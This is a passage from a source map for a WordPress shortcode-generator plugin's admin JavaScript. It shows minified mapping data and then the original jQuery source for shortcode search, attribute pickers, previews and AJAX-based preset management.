P,EAAEsL,CAAgB,EAC9B9G,EAAWxE,EAAE,+BAA+B,EAC5CyL,EAAUjH,EAAS3E,OAAS2E,EAAS5B,IAAI,EAAI,QAC7C8I,EAAS,IAAIC,OAAO,EAAE,EAoC1B,OAlCAD,GAAU,IAAMF,EAASD,EAEzBhL,EAAUiC,KACR,WAEE,IAAIoJ,EAAQ5L,EAAEkC,IAAI,EACdgH,EAAQ,GAUC,OAATA,GARA0C,EAAMC,GAAG,QAAQ,EACXD,EAAM3K,KAAK,iBAAiB,EAI5B2K,GAJ8BhJ,IAAI,GAQ1CsG,EAAQ,GACkB,SAAjB,OAAOA,IAChBA,EAAQA,EAAMnF,KAAK,GAAG,GAGV,KAAVmF,IACFwC,GAAU,IAAM1L,EAAEkC,IAAI,EAAEuC,KAAK,MAAM,EAAI,KAAOzE,EAAEkC,IAAI,EAAEU,IAAI,EAAEkJ,SAAS,EAAEjC,QAAQ,MAAO,GAAG,EAAI,IAEjG,CACF,EAEA6B,GAAU,IAEK,SAAXD,IACFC,GAAUD,EAAU,KAAOD,EAASD,EAAQ,KAGvCG,CACT,EAEA/K,EAAKyK,YAAc,WAEL1K,EAAUkC,IAAI,EAA1B,IACIrC,EAAYP,EAAE,2CAA2C,EACzDwE,EAAWxE,EAAE,+BAA+B,EAC5CyL,EAAUjH,EAAS3E,OAAS2E,EAAS5B,IAAI,EAAI,QAC7CT,EAAO,GA2BX,OAzBA5B,EAAUiC,KACR,SAAUtD,GAER,IAAI0M,EAAQ5L,EAAEkC,IAAI,EACdgH,EAAQ,GACRtF,EAAOgI,EAAMnH,KAAK,MAAM,EAG1ByE,GADE0C,EAAMC,GAAG,QAAQ,EACXD,EAAM3K,KAAK,iBAAiB,EAI5B2K,GAJ8BhJ,IAAI,EAW5CT,EAAKyB,GAHHsF,EADW,MAATA,EACM,GAGGA,CACf,CACF,EAEA/G,EAAKsJ,QAAUA,EAAQK,SAAS,EAEzB3J,CACT,EAEAxB,EAAKwJ,YAAc,SAAUhI,GAE3B,IAAI5B,EAAYP,EAAE,2CAA2C,EACzDwE,EAAWxE,EAAE,uBAAuB,EAExCO,EAAUiC,KACR,WACE,IAAIoJ,EAAQ5L,EAAEkC,IAAI,EACd0B,EAAOgI,EAAMnH,KAAK,MAAM,EAExBtC,EAAK4J,eAAenI,CAAI,IAE1BgI,EAAMhJ,IAAIT,EAAKyB,EAAK,EACpBgI,EAAMpI,QAAQ,OAAO,EAAEA,QAAQ,QAAQ,EAAEA,QAAQ,MAAM,EAE3D,CACF,EAEIrB,EAAK4J,eAAe,SAAS,GAC/BvH,EAAS5B,IAAIT,EAAKsJ,OAAO,EAAEjI,QAAQ,OAAO,EAAEA,QAAQ,QAAQ,EAAEA,QAAQ,MAAM,EAG9E7C,EAAK2J,cAAc,CACrB,EAEA3J,EAAK2J,cAAgB,SAAU0B,GAE7B,IAAI3B,EAAWrK,EAAE,uBAAuB,EACpC0D,EAAY/C,EAAK0K,cAAc,EAC/BY,EAAWxL,EAAQuG,KAAK,EAE5BgF,EAASA,GAAU,CAAA,EAEd3B,EAASwB,GAAG,UAAU,IAIvBnI,IAAcuI,GAAaD,KAI/BpL,OAAO2J,aAAa5J,EAAKO,MAAMM,QAAQC,KAAK,EAC5Cd,EAAKO,MAAMM,QAAQC,MAAQb,OAAO4J,WAChC,WACE7J,EAAKO,MAAMM,QAAQE,QAAU1B,EAAEiE,KAC7B,CACEC,KAAM,OACNC,IAAKC,QACL8H,MAAO,CAAA,EACP/J,KAAM,CACJkC,OAAQ,uBACRX,UAAWA,EACXwG,MAAOlK,EAAE,6BAA6B,EAAE4C,IAAI,CAC9C,EACA0B,WAAY,WAEN3D,EAAKO,MAAMM,QAAQE,SACrBf,EAAKO,MAAMM,QAAQE,QAAQyG,MAAM,EAGnCkC,EAASrG,SAAS,sBAAsB,EAAEnB,KAAK,EAAE,CACnD,EACA0B,QAAS,SAAUpC,GAEjBkI,EAASxH,KAAKV,CAAI,EAAEG,YAAY,sBAAsB,CACxD,EACA0F,SAAU,MACZ,CACF,CACF,EACA,GACF,EAEAvH,EAAQuG,KAAKtD,CAAS,EACxB,EAEA/C,EAAKwL,OAAS,SAAU7K,EAAS8K,GAC/B,IAOIC,EAPmB,UAAnB,OAAO/K,GAAwC,UAAhB,OAAO8K,IAI1CzL,EAAKO,MAAMI,QAAUA,EAGjB+K,GAFJ1L,EAAKO,MAAMK,WAAa6K,GAEQ1I,WAAa,IAEzC4I,EAAa,CACfpI,KAAM,SACNqI,SAAU,CAAA,EACVC,eAAgB,CAAA,EAChBC,UAAW,mBACXC,MAAO,CACLC,IAAK,eACP,EACAC,UAAW,EACb,GAEWA,UAAUrF,KAAO,KACtB8E,EACF/L,EAAQ2B,OAAM,oBAAA4K,OAAqBR,EAAoB,IAAA,CAAI,EAAE7I,QAAQ,OAAO,EAE5E5C,OAAO4J,WAAW,IAAMtK,EAAQ8C,MAAM,EAAG,GAAG,EAMzB,aAAnB,OAAO8J,SACa,MAAxBA,QAAQC,cACRD,QAAQC,aAAahB,eAAe,WAAW,IAE3CpL,EAAKO,MAAMC,aAAe2L,QAAQC,aAAaC,UAAUC,WAAW,CAAEC,OAAQ,MAAO,CAAC,EAE1F,EAEAZ,EAAWM,UAAU1J,MAAQ,KAC3BhD,EAAQ0C,IAAI,EAAE,EACdrC,EAAUsC,KAAK,EAAE,EAAEC,KAAK,EACxB7C,EAAWqC,YAAY,qBAAqB,EAC5CnC,EAAQ4C,KAAK,EACb1C,EAAS0C,KAAK,EACdzC,EAAQyC,KAAK,EAEbpC,EAAKO,MAAMC,aAAe,EAG5B,EAEAnB,EAAEiD,cAAcsE,KAAK+E,CAAU,EACjC,EAEA3L,EAAKyJ,gBAAkB,WACrB,IAkBM+C,EAKEC,EAvBJ1J,EAAY/C,EAAK0K,cAAc,EAEnC1K,EAAKoK,UAAU,YAAanE,QAAQyG,SAAS,EAE7CrN,EAAEiD,cAAcC,MAAM,EAEtBzC,EAAQuG,KAAKtD,CAAS,EAEK,SAAvB/C,EAAKO,MAAMI,UACTgM,EAAaC,SAASC,eAAe7M,EAAKO,MAAMK,WAAWkM,QAAQ,EACvE9M,EAAK+M,cAAcJ,EAAY5J,CAAS,GAGf,YAAvB/C,EAAKO,MAAMI,SACbV,OAAO2F,GAAGC,MAAMmH,OAAOxB,OAAOzI,CAAS,EAGd,UAAvB/C,EAAKO,MAAMI,WACT6L,EAAQxM,EAAKO,MAAMK,WAAW4L,OAExBS,WAAW7B,eAAe,SAAS,EAC3CoB,EAAMU,cAAc,CAAEpC,QAAS0B,EAAMS,WAAWnC,QAAU/H,CAAU,CAAC,EAC7C,mBAAfyJ,EAAMvJ,OACXwJ,EAAeD,EAAMS,WAAW7B,eAAe,MAAM,EACrDoB,EAAMS,WAAW5G,KACjB,GAEJmG,EAAMU,cAAc,CAAE7G,KAAMoG,EAAe1J,CAAU,CAAC,GAG5D,EAEA/C,EAAK+M,cAAgB,CAACI,EAAO9G,KAC3B,IAAI+G,EAAQD,EAAME,eAClBF,EAAM5E,MAAQ4E,EAAM5E,MAAM+E,UAAU,EAAGF,CAAK,EAAI/G,EAAO8G,EAAM5E,MAAM+E,UAAUF,CAAK,EAClFD,EAAM9K,MAAM,EACZ8K,EAAME,eAAiBD,EAAQ/G,EAAKnH,MACtC,EAEO,CACLgC,KAAMlB,EAAKkB,KACXsK,OAAQxL,EAAKwL,MACf,GAGFpL,OAAOwM,QAAQ,EAAEW,MAAMtN,OAAOC,IAAIC,IAAIe,IAAI","file":"index.js","sourcesContent":["(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=\"function\"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error(\"Cannot find module '\"+i+\"'\");throw a.code=\"MODULE_NOT_FOUND\",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=\"function\"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()","/* eslint-disable */\n\n/* global jQuery, wp, ajaxurl, SUGL10n */\n\nwindow.SUG = {}\n\nwindow.SUG.App = (($) => {\n var $generator = $('#su-generator')\n var $search = $('#su-generator-search')\n var $filter = $('#su-generator-filter')\n var $filters = $filter.children('a')\n var $choices = $('#su-generator-choices')\n var $choice = $choices.find('span')\n var $settings = $('#su-generator-settings')\n var $prefix = $('#su-compatibility-mode-prefix')\n var $result = $('#su-generator-result')\n var $selected = $('#su-generator-selected')\n\n var self = {}\n\n self.state = {\n mceSelection: '',\n target: '',\n wpActiveEditor: null,\n context: '',\n insertArgs: '',\n preview: {\n timer: null,\n request: null\n }\n }\n\n self.el = {\n body: $('body')\n }\n\n self.init = () => {\n $filters.click(\n function (e) {\n // Prepare data\n var filter = $(this).data('filter')\n // If filter All, show all choices\n if (filter === 'all') {\n $choice.css(\n {\n opacity: 1\n }\n ).removeClass('su-generator-choice-first')\n } else { // Else run search\n var regex = new RegExp(filter, 'gi')\n // Hide all choices\n $choice.css({ opacity: 0.2 })\n // Find searched choices and show\n $choice.each(\n function () {\n // Get shortcode name\n var group = $(this).data('group')\n // Show choice if matched\n if (group.match(regex) !== null) {\n $(this)\n .css({ opacity: 1 })\n .removeClass('su-generator-choice-first')\n }\n }\n )\n }\n e.preventDefault()\n }\n )\n // Go to home link\n $('#su-generator').on(\n 'click',\n '.su-generator-home',\n function (e) {\n // Clear search field\n $search.val('')\n // Hide settings\n $settings.html('').hide()\n // Remove narrow class\n $generator.removeClass('su-generator-narrow')\n // Show filters\n $filter.show()\n // Show choices panel\n $choices.show()\n $choice.show()\n // Clear selection\n self.state.mceSelection = ''\n // Focus search field\n $search.focus()\n e.preventDefault()\n }\n )\n // Generator close button\n $('#su-generator').on(\n 'click',\n '.su-generator-close',\n function (e) {\n // Close popup\n $.magnificPopup.close()\n // Prevent default action\n e.preventDefault()\n }\n )\n // Search field\n $search.on(\n {\n focus: function () {\n // Clear field\n $(this).val('')\n // Hide settings\n $settings.html('').hide()\n // Remove narrow class\n $generator.removeClass('su-generator-narrow')\n // Show choices panel\n $choices.show()\n $choice.css(\n {\n opacity: 1\n }\n ).removeClass('su-generator-choice-first')\n // Show filters\n $filter.show()\n },\n blur: function () {},\n keyup: function (e) {\n // Prepare vars\n var $first = $('.su-generator-choice-first:first')\n var val = $(this).val()\n var regex = new RegExp(val, 'gi')\n var best = 0\n // Hotkey action\n if (e.keyCode === 13 && $first.length > 0) {\n e.preventDefault()\n $(this).val('').blur()\n $first.trigger('click')\n }\n // Hide all choices\n $choice.css(\n {\n opacity: 0.2\n }\n ).removeClass('su-generator-choice-first')\n // Loop and highlight choices\n $choice.each(\n function () {\n // Get choice data\n var data = $(this).data()\n var id = data.shortcode\n var name = data.name\n var desc = data.desc\n var group = data.group\n var matches = ([id, name, desc, group].join(' ')).match(regex)\n // Highlight choice if matched\n if (matches !== null) {\n // Highlight current choice\n $(this).css(\n {\n opacity: 1\n }\n )\n // Check for exact match\n if (val === id) {\n // Remove primary class from all choices\n $choice.removeClass('su-generator-choice-first')\n // Add primary class to the current choice\n $(this).addClass('su-generator-choice-first')\n // Prevent selecting by matches number\n best = 999\n } else if (matches.length > best) { // Check matches length\n // Remove primary class from all choices\n $choice.removeClass('su-generator-choice-first')\n // Add primary class to the current choice\n $(this).addClass('su-generator-choice-first')\n // Save the score\n best = matches.length\n }\n }\n }\n )\n // Remove primary class if search field is empty\n if (val === '') {\n $choice.removeClass('su-generator-choice-first')\n }\n }\n }\n )\n // Click on shortcode choice\n $choice.on(\n 'click',\n function (e) {\n // Prepare data\n var shortcode = $(this).data('shortcode')\n // Load shortcode options\n $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_settings',\n shortcode: shortcode\n },\n beforeSend: function () {\n // Hide preview box\n $('#su-generator-preview').hide()\n // Hide choices panel\n $choices.hide()\n // Show loading animation\n $settings.addClass('su-generator-loading').show()\n // Add narrow class\n $generator.addClass('su-generator-narrow')\n // Hide filters\n $filter.hide()\n },\n success: function (data) {\n // Hide loading animation\n $settings.removeClass('su-generator-loading')\n // Insert new HTML\n $settings.html(data)\n // Apply selected text to the content field\n var $content = $('#su-generator-content')\n if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\n $content.val(self.state.mceSelection)\n }\n // Init range pickers\n $('.su-generator-range-picker').each(\n function (index) {\n var $picker = $(this)\n var $val = $picker.find('input')\n var min = $val.attr('min')\n var max = $val.attr('max')\n var step = $val.attr('step')\n // Apply noUIslider\n $val.simpleSlider(\n {\n snap: true,\n step: step,\n range: [min, max]\n }\n )\n $val.show()\n $val.on(\n 'keyup blur',\n function (e) {\n $val.simpleSlider('setValue', $val.val())\n }\n )\n }\n )\n // Init color pickers\n $('.su-generator-select-color').each(\n function (index) {\n $(this).find('.su-generator-select-color-wheel').filter(':first').farbtastic('.su-generator-select-color-value:eq(' + index + ')')\n $(this).find('.su-generator-select-color-value').focus(\n function () {\n $('.su-generator-select-color-wheel:eq(' + index + ')').show()\n }\n )\n $(this).find('.su-generator-select-color-value').blur(\n function () {\n $('.su-generator-select-color-wheel:eq(' + index + ')').hide()\n }\n )\n }\n )\n // Init image sourse pickers\n $('.su-generator-isp').each(\n function () {\n var $picker = $(this)\n var $sources = $picker.find('.su-generator-isp-sources')\n var $source = $picker.find('.su-generator-isp-source')\n var $addMedia = $picker.find('.su-generator-isp-add-media')\n var $images = $picker.find('.su-generator-isp-images')\n var $cats = $picker.find('.su-generator-isp-categories')\n var $taxes = $picker.find('.su-generator-isp-taxonomies')\n var $terms = $('.su-generator-isp-terms')\n var $val = $picker.find('.su-generator-attr')\n var frame\n // Update hidden value\n var update = function () {\n var val = 'none'\n var ids = ''\n var source = $sources.val()\n // Media library\n if (source === 'media') {\n var images = []\n $images.find('span').each(\n function (i) {\n images[i] = $(this).data('id')\n }\n )\n if (images.length > 0) {\n ids = images.join(',')\n }\n }\n // Category\n else if (source === 'category') {\n var categories = $cats.val() || []\n if (categories.length > 0) {\n ids = categories.join(',')\n }\n }\n // Taxonomy\n else if (source === 'taxonomy') {\n var tax = $taxes.val() || ''\n var terms = $terms.val() || []\n if (tax !== '0' && terms.length > 0) {\n val = 'taxonomy: ' + tax + '/' + terms.join(',')\n }\n }\n // Deselect\n else if (source === '0') {\n val = 'none'\n }\n // Other options\n else {\n val = source\n }\n if (ids !== '') {\n val = source + ': ' + ids\n }\n $val.val(val).trigger('change')\n }\n // Switch source\n $sources.on(\n 'change',\n function (e) {\n var source = $(this).val()\n e.preventDefault()\n $source.removeClass('su-generator-isp-source-open')\n if (source.indexOf(':') === -1) {\n $picker.find('.su-generator-isp-source-' + source).addClass('su-generator-isp-source-open')\n }\n update()\n }\n )\n // Remove image\n $images.on(\n 'click',\n 'span i',\n function () {\n $(this).parent('span').css('border-color', '#f03').fadeOut(\n 300,\n function () {\n $(this).remove()\n update()\n }\n )\n }\n )\n // Add image\n $addMedia.click(\n function (e) {\n e.preventDefault()\n if (typeof (frame) !== 'undefined') {\n frame.close()\n }\n frame = wp.media.frames.su_media_frame_1 = wp.media(\n {\n title: SUGL10n.isp_media_title,\n library: {\n type: 'image'\n },\n button: {\n text: SUGL10n.isp_media_insert\n },\n multiple: true\n }\n )\n frame.on('open', function () {\n $('.mfp-wrap').addClass('hidden')\n })\n frame.on('close', function () {\n $('.mfp-wrap').removeClass('hidden')\n })\n frame.on(\n 'select',\n function () {\n var files = frame.state().get('selection').toJSON()\n $images.find('em').remove()\n $.each(\n files,\n function (i) {\n $images.append('<span data-id=\"' + this.id + '\"><img src=\"' + this.url + '\" alt=\"\" /><i class=\"sui sui-times\"></i></span>')\n }\n )\n update()\n }\n ).open()\n }\n )\n // Sort images\n $images.sortable(\n {\n revert: 200,\n containment: $picker,\n tolerance: 'pointer',\n stop: function () {\n update()\n }\n }\n )\n // Select categories and terms\n $cats.on('change', update)\n $terms.on('change', update)\n // Select taxonomy\n $taxes.on(\n 'change',\n function () {\n var $cont = $(this).parents('.su-generator-isp-source')\n var tax = $(this).val()\n // Remove terms\n $terms.hide().find('option').remove()\n update()\n // Taxonomy is not selected\n if (tax === '0') {\n\n } else { // Taxonomy selected\n var ajaxTermSelect = $.ajax(\n {\n url: ajaxurl,\n type: 'post',\n dataType: 'html',\n data: {\n action: 'su_generator_get_terms',\n tax: tax,\n class: 'su-generator-isp-terms',\n multiple: true,\n size: 10\n },\n beforeSend: function () {\n if (typeof ajaxTermSelect === 'object') {\n ajaxTermSelect.abort()\n }\n $terms.html('').attr('disabled', true).hide()\n $cont.addClass('su-generator-loading')\n },\n success: function (data) {\n $terms.html(data).attr('disabled', false).show()\n $cont.removeClass('su-generator-loading')\n }\n }\n )\n }\n }\n )\n }\n )\n // Init media buttons\n $('.su-generator-upload-button').each(\n function () {\n var $button = $(this)\n var $val = $(this).parents('.su-generator-attr-container').find('input:text')\n var file\n $button.on(\n 'click',\n function (e) {\n e.preventDefault()\n e.stopPropagation()\n // If the frame already exists, reopen it\n if (typeof (file) !== 'undefined') {\n file.close()\n }\n // Create WP media frame.\n file = wp.media.frames.su_media_frame_2 = wp.media(\n {\n // Title of media manager frame\n title: SUGL10n.upload_title,\n button: {\n // Button text\n text: SUGL10n.upload_insert\n },\n // Do not allow multiple files, if you want multiple, set true\n multiple: false\n }\n )\n // callback for selected image\n file.on(\n 'select',\n function () {\n var attachment = file.state().get('selection').first().toJSON()\n $val.val(attachment.url).trigger('change')\n }\n )\n file.on('open', function () {\n $('.mfp-wrap').addClass('hidden')\n })\n file.on('close', function () {\n $('.mfp-wrap').removeClass('hidden')\n })\n // Open modal\n file.open()\n }\n )\n }\n )\n // Init icon pickers\n $('.su-generator-icon-picker-button').each(\n function () {\n var $button = $(this)\n var $field = $(this).parents('.su-generator-attr-container')\n var $val = $field.find('.su-generator-attr')\n var $picker = $field.find('.su-generator-icon-picker')\n var $filter = $picker.find('input:text')\n $button.click(\n function (e) {\n $picker.toggleClass('su-generator-icon-picker-visible')\n $filter.val('').trigger('keyup')\n if ($picker.hasClass('su-generator-icon-picker-loaded')) {\n return\n }\n // Load icons\n $.ajax(\n {\n type: 'post',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_icons'\n },\n dataType: 'html',\n beforeSend: function () {\n // Show loading animation\n $picker.addClass('su-generator-loading')\n // Add loaded class\n $picker.addClass('su-generator-icon-picker-loaded')\n },\n success: function (data) {\n $picker.append(data)\n var $icons = $picker.children('i')\n $icons.click(\n function (e) {\n $val.val('icon: ' + $(this).attr('title'))\n $picker.removeClass('su-generator-icon-picker-visible')\n $val.trigger('change')\n e.preventDefault()\n }\n )\n $filter.on(\n {\n keyup: function () {\n var val = $(this).val()\n var regex = new RegExp(val, 'gi')\n // Hide all choices\n $icons.hide()\n // Find searched choices and show\n $icons.each(\n function () {\n // Get shortcode name\n var name = $(this).attr('title')\n // Show choice if matched\n if (name.match(regex) !== null) {\n $(this).show()\n }\n }\n )\n },\n focus: function () {\n $(this).val('')\n $icons.show()\n }\n }\n )\n $picker.removeClass('su-generator-loading')\n }\n }\n )\n e.preventDefault()\n }\n )\n }\n )\n // Init switches\n $('.su-generator-switch').click(\n function (e) {\n // Prepare data\n var $switch = $(this)\n var $value = $switch.parent().children('input')\n var isOn = $value.val() === 'yes'\n // Disable\n if (isOn) {\n // Change value\n $value.val('no').trigger('change')\n } else { // Enable\n // Change value\n $value.val('yes').trigger('change')\n }\n e.preventDefault()\n }\n )\n $('.su-generator-switch-value').on(\n 'change',\n function () {\n // Prepare data\n var $value = $(this)\n var $switch = $value.parent().children('.su-generator-switch')\n var value = $value.val()\n // Disable\n if (value === 'yes') {\n $switch.removeClass('su-generator-switch-no').addClass('su-generator-switch-yes')\n } else if (value === 'no') { // Enable\n $switch.removeClass('su-generator-switch-yes').addClass('su-generator-switch-no')\n }\n }\n )\n // Init tax_term selects\n $('select#su-generator-attr-taxonomy').on(\n 'change',\n function () {\n var $taxonomy = $(this)\n var tax = $taxonomy.val()\n var $terms = $('select#su-generator-attr-tax_term')\n // Load new options\n window.su_generator_get_terms = $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_terms',\n tax: tax,\n noselect: true\n },\n dataType: 'html',\n beforeSend: function () {\n // Check previous requests\n if (typeof window.su_generator_get_terms === 'object') {\n window.su_generator_get_terms.abort()\n }\n // Show loading animation\n $terms.parent().addClass('su-generator-loading')\n },\n success: function (data) {\n // Remove previous options\n $terms.find('option').remove()\n // Append new options\n $terms.append(data)\n // Hide loading animation\n $terms.parent().removeClass('su-generator-loading')\n }\n }\n )\n }\n )\n // Init shadow pickers\n $('.su-generator-shadow-picker').each(\n function (index) {\n var $picker = $(this)\n var $fields = $picker.find('.su-generator-shadow-picker-field input')\n var $hoff = $picker.find('.su-generator-sp-hoff')\n var $voff = $picker.find('.su-generator-sp-voff')\n var $blur = $picker.find('.su-generator-sp-blur')\n var $color = {\n cnt: $picker.find('.su-generator-shadow-picker-color'),\n value: $picker.find('.su-generator-shadow-picker-color-value'),\n wheel: $picker.find('.su-generator-shadow-picker-color-wheel')\n }\n var $val = $picker.find('.su-generator-attr')\n // Init color picker\n $color.wheel.farbtastic($color.value)\n $color.value.focus(\n function () {\n $color.wheel.show()\n }\n )\n $color.value.blur(\n function () {\n $color.wheel.hide()\n }\n )\n // Handle text fields\n $fields.on(\n 'change blur keyup',\n function () {\n $val.val($hoff.val() + 'px ' + $voff.val() + 'px ' + $blur.val() + 'px ' + $color.value.val()).trigger('change')\n }\n )\n $val.on(\n 'keyup',\n function () {\n var value = $(this).val().split(' ')\n // Value is correct\n if (value.length === 4) {\n $hoff.val(value[0].replace('px', ''))\n $voff.val(value[1].replace('px', ''))\n $blur.val(value[2].replace('px', ''))\n $color.value.val(value[3])\n $fields.trigger('keyup')\n }\n }\n )\n }\n )\n // Init border pickers\n $('.su-generator-border-picker').each(\n function (index) {\n var $picker = $(this)\n var $fields = $picker.find('.su-generator-border-picker-field input, .su-generator-border-picker-field select')\n var $width = $picker.find('.su-generator-bp-width')\n var $style = $picker.find('.su-generator-bp-style')\n var $color = {\n cnt: $picker.find('.su-generator-border-picker-color'),\n value: $picker.find('.su-generator-border-picker-color-value'),\n wheel: $picker.find('.su-generator-border-picker-color-wheel')\n }\n var $val = $picker.find('.su-generator-attr')\n // Init color picker\n $color.wheel.farbtastic($color.value)\n $color.value.focus(\n function () {\n $color.wheel.show()\n }\n )\n $color.value.blur(\n function () {\n $color.wheel.hide()\n }\n )\n // Handle text fields\n $fields.on(\n 'change blur keyup',\n function () {\n $val.val($width.val() + 'px ' + $style.val() + ' ' + $color.value.val()).trigger('change')\n }\n )\n $val.on(\n 'keyup',\n function () {\n var value = $(this).val().split(' ')\n // Value is correct\n if (value.length === 3) {\n $width.val(value[0].replace('px', ''))\n $style.val(value[1])\n $color.value.val(value[2])\n $fields.trigger('keyup')\n }\n }\n )\n }\n )\n // Remove skip class when setting is changed\n $settings.find('.su-generator-attr').on(\n 'change keyup blur',\n function () {\n var $cnt = $(this).parents('.su-generator-attr-container')\n var _default = $cnt.data('default')\n var val = $(this).val()\n // Value is changed\n if (val != _default) {\n $cnt.removeClass('su-generator-skip')\n } else {\n $cnt.addClass('su-generator-skip')\n }\n }\n )\n // Init value setters\n $('.su-generator-set-value').click(\n function (e) {\n $(this).parents('.su-generator-attr-container').find('input').val($(this).text()).trigger('change')\n }\n )\n // Save selected value\n $selected.val(shortcode)\n // Load last used preset\n $.ajax(\n {\n type: 'GET',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_preset',\n id: 'last_used',\n shortcode: shortcode,\n nonce: $('#su_generator_presets_nonce').val()\n },\n beforeSend: function () {\n // Show loading animation\n // $settings.addClass('su-generator-loading');\n },\n success: function (data) {\n // Remove loading animation\n // $settings.removeClass('su-generator-loading');\n // Set new settings\n self.setSettings(data)\n // Apply selected text to the content field\n var $content = $('#su-generator-content')\n if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\n $content.val(self.state.mceSelection)\n }\n },\n dataType: 'json'\n }\n )\n },\n dataType: 'html'\n }\n )\n }\n )\n // Insert shortcode\n $('#su-generator').on('click', '.su-generator-insert', self.insertShortcode)\n // Preview shortcode\n $('#su-generator').on(\n 'click',\n '.su-generator-toggle-preview',\n function (e) {\n // Prepare data\n var $preview = $('#su-generator-preview')\n var $button = $(this)\n // Hide button\n $button.hide()\n // Show preview box\n $preview.addClass('su-generator-loading').show()\n // Bind updating on settings changes\n $settings.find('input, textarea, select').on(\n 'change keyup blur',\n function () {\n self.updatePreview()\n }\n )\n // Update preview box\n self.updatePreview(true)\n // Prevent default action\n e.preventDefault()\n }\n )\n var gp_hover_timer\n // Presets manager - mouseenter\n $('#su-generator').on(\n 'mouseenter click',\n '.su-generator-presets',\n function () {\n clearTimeout(gp_hover_timer)\n $('.su-gp-popup').show()\n }\n )\n // Presets manager - mouseleave\n $('#su-generator').on(\n 'mouseleave',\n '.su-generator-presets',\n function () {\n gp_hover_timer = window.setTimeout(\n function () {\n $('.su-gp-popup').fadeOut(200)\n },\n 600\n )\n }\n )\n // Presets manager - add new preset\n $('#su-generator').on(\n 'click',\n '.su-gp-new',\n function (e) {\n // Prepare data\n var $container = $(this).parents('.su-generator-presets')\n var $list = $('.su-gp-list')\n var id = new Date().getTime()\n // Ask for preset name\n var name = prompt(SUGL10n.presets_prompt_msg, SUGL10n.presets_prompt_value)\n // Name is entered\n if (name !== '' && name !== null) {\n // Hide default text\n $list.find('b').hide()\n // Add new option\n $list.append('<span data-id=\"' + id + '\"><em>' + name + '</em><i class=\"sui sui-times\"></i></span>')\n // Perform AJAX request\n self.addPreset(id, name)\n }\n }\n )\n // Presets manager - load preset\n $('#su-generator').on(\n 'click',\n '.su-gp-list span',\n function (e) {\n // Prepare data\n var shortcode = $('.su-generator-presets').data('shortcode')\n var id = $(this).data('id')\n var $insert = $('.su-generator-insert')\n // Hide popup\n $('.su-gp-popup').hide()\n // Disable hover timer\n clearTimeout(gp_hover_timer)\n // Get the preset\n $.ajax(\n {\n type: 'GET',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_preset',\n id: id,\n shortcode: shortcode,\n nonce: $('#su_generator_presets_nonce').val()\n },\n beforeSend: function () {\n // Disable insert button\n $insert.addClass('button-primary-disabled').attr('disabled', true)\n },\n success: function (data) {\n // Enable insert button\n $insert.removeClass('button-primary-disabled').attr('disabled', false)\n // Set new settings\n self.setSettings(data)\n },\n dataType: 'json'\n }\n )\n // Prevent default action\n e.preventDefault()\n e.stopPropagation()\n }\n )\n // Presets manager - remove preset\n $('#su-generator').on(\n 'click',\n '.su-gp-list i',\n function (e) {\n // Prepare data\n var $list = $(this).parents('.su-gp-list')\n var $preset = $(this).parent('span')\n var id = $preset.data('id')\n // Remove DOM element\n $preset.remove()\n // Show default text if last preset was removed\n if ($list.find('span').length < 1) {\n $list.find('b').show()\n }\n // Perform ajax request\n self.removePreset(id)\n // Prevent <span> action\n e.stopPropagation()\n // Prevent default action\n e.preventDefault()\n }\n )\n }\n\n /**\n\t * Create new preset with specified name from current settings\n\t */\n self.addPreset = function (id, name) {\n // Prepare shortcode name and current settings\n var shortcode = $('.su-generator-presets').data('shortcode')\n var settings = self.getSettings()\n // Perform AJAX request\n $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_add_preset',\n id: id,\n name: name,\n shortcode: shortcode,\n settings: settings,\n nonce: $('#su_generator_presets_nonce').val()\n }\n }\n )\n }\n /**\n\t * Remove preset by ID\n\t */\n self.removePreset = function (id) {\n // Get current shortcode name\n var shortcode = $('.su-generator-presets').data('shortcode')\n // Perform AJAX request\n $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_remove_preset',\n id: id,\n shortcode: shortcode,\n nonce: $('#su_generator_presets_nonce').val()\n }\n }\n )\n }\n\n self.parseSettings = function () {\n var settingsSelector = $('#su-generator-option-skip').val() === 'on'\n ? '#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr'\n : '#su-generator-settings .su-generator-attr-container .su-generator-attr'\n // Prepare data\n var query = $selected.val()\n var prefix = $prefix.val()\n var $settings = $(settingsSelector)\n var $content = $('textarea#su-generator-content')\n var content = $content.length ? $content.val() : 'false'\n var result = new String('')\n // Open shortcode\n result += '[' + prefix + query\n // Add shortcode attributes\n $settings.each(\n function () {\n // Prepare field and value\n var $this = $(this)\n var value = ''\n // Selects\n if ($this.is('select')) {\n value = $this.find('option:selected').val()\n }\n // Other fields\n else {\n value = $this.val()\n }\n // Check that value is not empty\n if (value == null) {\n value = ''\n } else if (typeof value === 'array') {\n value = value.join(',')\n }\n // Add attribute\n if (value !== '') {\n result += ' ' + $(this).attr('name') + '=\"' + $(this).val().toString().replace(/\"/gi, \"'\") + '\"'\n }\n }\n )\n // End of opening tag\n result += ']'\n // Wrap shortcode if content presented\n if (content != 'false') {\n result += content + '[/' + prefix + query + ']'\n }\n // Return result\n return result\n }\n\n self.getSettings = function () {\n // Prepare data\n var query = $selected.val()\n var $settings = $('#su-generator-settings .su-generator-attr')\n var $content = $('textarea#su-generator-content')\n var content = $content.length ? $content.val() : 'false'\n var data = {}\n // Add shortcode attributes\n $settings.each(\n function (i) {\n // Prepare field and value\n var $this = $(this)\n var value = ''\n var name = $this.attr('name')\n // Selects\n if ($this.is('select')) {\n value = $this.find('option:selected').val()\n }\n // Other fields\n else {\n value = $this.val()\n }\n // Check that value is not empty\n if (value == null) {\n value = ''\n }\n // Save value\n 